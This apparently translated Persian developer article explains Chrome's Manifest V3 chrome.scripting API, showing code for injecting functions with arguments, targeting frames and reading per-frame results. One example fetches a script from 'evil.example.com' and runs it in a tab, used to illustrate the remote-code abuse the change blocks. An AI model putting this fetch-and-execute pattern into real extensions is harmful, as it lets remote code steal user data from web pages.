معرفی chrome.scripting

Manifest V3 تعدادی تغییرات را در پلتفرم افزونه کروم معرفی می کند. در این پست، انگیزه ها و تغییرات ایجاد شده توسط یکی از قابل توجه ترین تغییرات را بررسی خواهیم کرد: معرفی chrome.scripting API.

chrome.scripting چیست؟

همانطور که از نام ممکن است پیداست، chrome.scripting فضای نام جدیدی است که در Manifest V3 و مسئول قابلیت‌های تزریق اسکریپت و سبک معرفی شده است.

برنامه‌نویسانی که در گذشته افزونه‌های Chrome ایجاد کرده‌اند ممکن است با روش‌های Manifest V2 در Tabs API مانند chrome.tabs.executeScript و chrome.tabs.insertCSS آشنا باشند. این روش‌ها به برنامه‌های افزودنی اجازه می‌دهند تا اسکریپت‌ها و شیوه نامه‌ها را به ترتیب به صفحات تزریق کنند. در Manifest V3، این قابلیت‌ها به chrome.scripting منتقل شده‌اند و ما قصد داریم این API را با قابلیت‌های جدید در آینده گسترش دهیم.

چرا یک API جدید ایجاد کنیم؟

با تغییری مانند این، یکی از اولین سوالاتی که پیش می آید این است که "چرا؟"

چند عامل مختلف باعث شد که تیم کروم تصمیم بگیرد فضای نام جدیدی را برای اسکریپت‌نویسی معرفی کند. اول، Tabs API کمی یک کشوی آشغال برای ویژگی ها است. دوم، ما نیاز به ایجاد تغییرات قطعی در executeScript API موجود داشتیم. سوم، ما می‌دانستیم که می‌خواهیم قابلیت‌های برنامه‌نویسی را برای برنامه‌های افزودنی گسترش دهیم. با هم، این نگرانی ها به وضوح نیاز به فضای نام جدیدی را برای گنجاندن قابلیت های اسکریپت تعریف می کنند.

کشوی آشغال

یکی از مسائلی که در چند سال گذشته تیم برنامه‌های افزودنی را آزار می‌دهد، بارگذاری بیش از حد API chrome.tabs است. زمانی که این API برای اولین بار معرفی شد، بیشتر قابلیت هایی که ارائه می کرد به مفهوم گسترده تب مرورگر مربوط می شد. با این حال، حتی در آن نقطه، کمی از ویژگی‌ها بود و در طول سال‌ها این مجموعه تنها رشد کرده است.

زمانی که Manifest V3 منتشر شد، Tabs API رشد کرده بود تا مدیریت اصلی برگه ها، مدیریت انتخاب، سازماندهی پنجره، پیام رسانی، کنترل زوم، ناوبری اولیه، اسکریپت نویسی و چند قابلیت کوچکتر دیگر را پوشش دهد. در حالی که همه اینها مهم هستند، زمانی که توسعه‌دهندگان در حال شروع به کار هستند و برای تیم Chrome، زمانی که ما پلتفرم را حفظ می‌کنیم و درخواست‌های جامعه توسعه‌دهنده را بررسی می‌کنیم، ممکن است کمی سخت باشد.

یکی دیگر از عوامل پیچیده این است که مجوز tabs به خوبی درک نشده است. در حالی که بسیاری از مجوزهای دیگر دسترسی به یک API معین را محدود می‌کنند (مثلاً storage )، این مجوز کمی غیرعادی است زیرا فقط به برنامه افزودنی اجازه دسترسی به ویژگی‌های حساس در نمونه‌های Tab را می‌دهد (و با فرمت، API ویندوز را نیز تحت تأثیر قرار می‌دهد). قابل درک است، بسیاری از توسعه دهندگان برنامه افزودنی به اشتباه فکر می کنند که برای دسترسی به روش هایی در Tabs API مانند chrome.tabs.create یا به طور کلی، chrome.tabs.executeScript به این مجوز نیاز دارند. انتقال عملکرد به خارج از Tabs API به رفع برخی از این سردرگمی کمک می کند.

شکستن تغییرات

هنگام طراحی Manifest V3، یکی از مسائل مهمی که می‌خواستیم به آن بپردازیم سوءاستفاده و بدافزار فعال شده توسط "کد میزبان از راه دور" بود - کدی که اجرا می‌شود، اما در بسته برنامه افزودنی گنجانده نشده است. برای نویسندگان برنامه های افزودنی سوء استفاده کننده معمول است که اسکریپت های دریافت شده از سرورهای راه دور را برای سرقت داده های کاربر، تزریق بدافزار و فرار از شناسایی اجرا می کنند. در حالی که بازیگران خوب نیز از این قابلیت استفاده می‌کنند، ما در نهایت احساس کردیم که ماندن به همان شکلی که بود بسیار خطرناک است.

چند راه مختلف وجود دارد که برنامه‌های افزودنی می‌توانند کد جدا نشده را اجرا کنند، اما روش مربوطه در اینجا روش Manifest V2 chrome.tabs.executeScript است. این روش به یک برنامه افزودنی اجازه می دهد تا یک رشته کد دلخواه را در یک برگه هدف اجرا کند. این به نوبه خود به این معنی است که یک توسعه دهنده مخرب می تواند یک اسکریپت دلخواه را از یک سرور راه دور دریافت کند و آن را در هر صفحه ای که برنامه افزودنی می تواند به آن دسترسی داشته باشد اجرا کند. ما می‌دانستیم که اگر بخواهیم مشکل کد از راه دور را برطرف کنیم، باید این ویژگی را حذف کنیم.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

ما همچنین می‌خواستیم برخی از مسائل ظریف‌تر دیگر را در طراحی نسخه Manifest V2 برطرف کنیم و API را به ابزاری پیشرفته‌تر و قابل پیش‌بینی‌تر تبدیل کنیم.

در حالی که می‌توانستیم امضای این روش را در Tabs API تغییر دهیم، احساس کردیم که بین این تغییرات شکستن و معرفی قابلیت‌های جدید (که در بخش بعدی پوشش داده می‌شود)، یک استراحت تمیز برای همه آسان‌تر خواهد بود.

گسترش قابلیت های اسکریپت نویسی

نکته دیگری که در فرآیند طراحی Manifest V3 مطرح شد، تمایل به معرفی قابلیت‌های اسکریپت‌نویسی اضافی به پلتفرم افزونه کروم بود. به طور خاص، ما می‌خواستیم پشتیبانی از اسکریپت‌های محتوای پویا را اضافه کنیم و قابلیت‌های متد executeScript را گسترش دهیم.

پشتیبانی از اسکریپت های محتوای پویا یک درخواست ویژگی قدیمی در Chromium بوده است. امروزه، افزونه‌های Manifest V2 و V3 Chrome فقط می‌توانند به‌صورت ایستا اسکریپت‌های محتوا را در فایل manifest.json خود اعلام کنند. این پلتفرم راهی برای ثبت اسکریپت های محتوای جدید، تغییر ثبت اسکریپت محتوا، یا لغو ثبت اسکریپت های محتوا در زمان اجرا ارائه نمی دهد.

در حالی که می‌دانستیم که می‌خواهیم با این درخواست ویژگی در Manifest V3 مقابله کنیم، هیچ یک از APIهای موجود ما خانه مناسبی احساس نمی‌کردند. ما همچنین در نظر داشتیم که با فایرفاکس در Content Scripts API هماهنگ شویم، اما در همان اوایل چند اشکال عمده در این رویکرد شناسایی کردیم. اول، ما می دانستیم که امضاهای ناسازگاری خواهیم داشت (مثلاً حذف پشتیبانی از ویژگی code ). دوم، API ما مجموعه‌ای متفاوت از محدودیت‌های طراحی داشت (مثلاً نیاز به ثبت نام برای تداوم بیش از طول عمر یک کارگر خدماتی). در نهایت، این فضای نام همچنین ما را به عملکرد اسکریپت محتوا هدایت می‌کند، جایی که به طور گسترده‌تر به اسکریپت‌نویسی در برنامه‌های افزودنی فکر می‌کنیم.

در بخش executeScript ، ما همچنین می‌خواستیم آنچه را که این API می‌تواند انجام دهد فراتر از آنچه نسخه Tabs API پشتیبانی می‌کند، گسترش دهیم. به طور خاص، ما می‌خواستیم از توابع و آرگومان‌ها پشتیبانی کنیم، فریم‌های خاص را راحت‌تر هدف‌گیری کنیم، و زمینه‌های غیر «tab» را هدف قرار دهیم.

در حال حرکت به جلو، ما همچنین در نظر داریم که چگونه برنامه‌های افزودنی می‌توانند با PWA‌های نصب‌شده و سایر زمینه‌هایی که از نظر مفهومی به "tabs" نگاشت نمی‌شوند، تعامل داشته باشند.

بین tabs.executeScript و scripting.executeScript تغییر می کند

در ادامه این پست، می‌خواهم شباهت‌ها و تفاوت‌های بین chrome.tabs.executeScript و chrome.scripting.executeScript را از نزدیک بررسی کنم.

تزریق یک تابع با آرگومان

با توجه به اینکه پلتفرم چگونه باید در پرتو محدودیت‌های کد میزبان از راه دور تکامل یابد، می‌خواستیم تعادلی بین قدرت خام اجرای کد دلخواه و فقط اجازه دادن به اسکریپت‌های محتوای ثابت پیدا کنیم. راه حلی که ما به آن دست یافتیم این بود که به افزونه ها اجازه دهیم یک تابع را به عنوان یک اسکریپت محتوا تزریق کنند و یک آرایه از مقادیر را به عنوان آرگومان ارسال کنند.

بیایید نگاهی گذرا به یک مثال (بیش از حد ساده شده) بیندازیم. فرض کنید می‌خواهیم اسکریپتی را تزریق کنیم که وقتی کاربر روی دکمه عملکرد برنامه افزودنی (نماد در نوار ابزار) کلیک می‌کند، به نام کاربر خوشامد می‌گوید. در Manifest V2، می‌توانیم به صورت پویا یک رشته کد بسازیم و آن اسکریپت را در صفحه فعلی اجرا کنیم.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

در حالی که برنامه‌های افزودنی Manifest V3 نمی‌توانند از کدی استفاده کنند که همراه با برنامه افزودنی نیست، هدف ما حفظ بخشی از پویایی بود که مسدود کردن کد دلخواه برای برنامه‌های افزودنی Manifest V2 فعال می‌کرد. رویکرد عملکرد و آرگومان‌ها این امکان را برای بازبینان، کاربران و سایر افراد علاقه‌مند فروشگاه وب Chrome فراهم می‌کند تا خطرات یک برنامه افزودنی را با دقت بیشتری ارزیابی کنند و همچنین به توسعه‌دهندگان این امکان را می‌دهد که رفتار زمان اجرا برنامه افزودنی را بر اساس تنظیمات کاربر یا وضعیت برنامه تغییر دهند.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

فریم های هدف گیری

ما همچنین می‌خواستیم نحوه تعامل توسعه‌دهندگان با فریم‌ها را در API اصلاح‌شده بهبود دهیم. نسخه Manifest V2 executeScript به توسعه دهندگان این امکان را می داد که تمام فریم های یک برگه یا یک فریم خاص در برگه را هدف قرار دهند. می‌توانید از chrome.webNavigation.getAllFrames برای دریافت فهرستی از همه فریم‌ها در یک برگه استفاده کنید.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

در Manifest V3، ما ویژگی اختیاری frameId عدد صحیح را در شی option با یک آرایه اختیاری frameIds از اعداد صحیح جایگزین کردیم. این به توسعه دهندگان اجازه می دهد تا چندین فریم را در یک تماس API هدف قرار دهند.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

نتایج تزریق اسکریپت

ما همچنین نحوه برگرداندن نتایج تزریق اسکریپت در Manifest V3 را بهبود بخشیده ایم. یک "نتیجه" اساساً عبارت نهایی است که در یک فیلمنامه ارزیابی می شود. آن را مانند مقداری در نظر بگیرید که هنگام فراخوانی eval() یا اجرای بلوکی از کد در کنسول Chrome DevTools، بازگردانده می‌شود، اما به‌منظور انتقال نتایج در میان فرآیندها، سریال‌سازی می‌شود.

در Manifest V2، executeScript و insertCSS آرایه‌ای از نتایج اجرای ساده را برمی‌گردانند. اگر فقط یک نقطه تزریق داشته باشید خوب است، اما ترتیب نتیجه هنگام تزریق به فریم های متعدد تضمین نمی شود، بنابراین هیچ راهی برای تشخیص اینکه کدام نتیجه با کدام فریم مرتبط است وجود ندارد.

برای مثال ملموس، بیایید نگاهی به آرایه‌های results که توسط یک نسخه Manifest V2 و یک نسخه Manifest V3 از همان پسوند برگردانده شده‌اند، بیاندازیم. هر دو نسخه برنامه افزودنی اسکریپت محتوای یکسانی را تزریق خواهند کرد و ما نتایج را در یک صفحه نمایشی مشابه مقایسه خواهیم کرد.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

وقتی نسخه Manifest V2 را اجرا می کنیم، آرایه ای از [1, 0, 5] برمی گردانیم. کدام نتیجه مربوط به فریم اصلی و کدام برای iframe است؟ مقدار بازگشتی به ما نمی گوید، بنابراین ما با اطمینان نمی دانیم.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

در نسخه Manifest V3، results اکنون به جای آرایه ای از نتایج ارزیابی فقط شامل آرایه ای از اشیاء نتیجه است و اشیاء نتیجه به وضوح شناسه فریم را برای هر نتیجه مشخص می کنند. این باعث می شود توسعه دهندگان بتوانند از نتیجه استفاده کنند و روی یک فریم خاص اقدام کنند.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

بسته شدن

برآمدگی‌های نسخه آشکار فرصتی نادر برای بازنگری و مدرن کردن APIهای برنامه‌های افزودنی است. هدف ما با Manifest V3 بهبود تجربه کاربر نهایی با ایمن‌تر کردن برنامه‌های افزودنی و در عین حال بهبود تجربه توسعه‌دهنده است. با معرفی chrome.scripting در Manifest V3، ما توانستیم به پاکسازی Tabs API کمک کنیم، executeScript برای پلتفرم برنامه‌های افزودنی امن‌تر تصور کنیم، و زمینه را برای قابلیت‌های اسکریپت‌نویسی جدیدی که اواخر امسال ارائه می‌شوند، فراهم کنیم.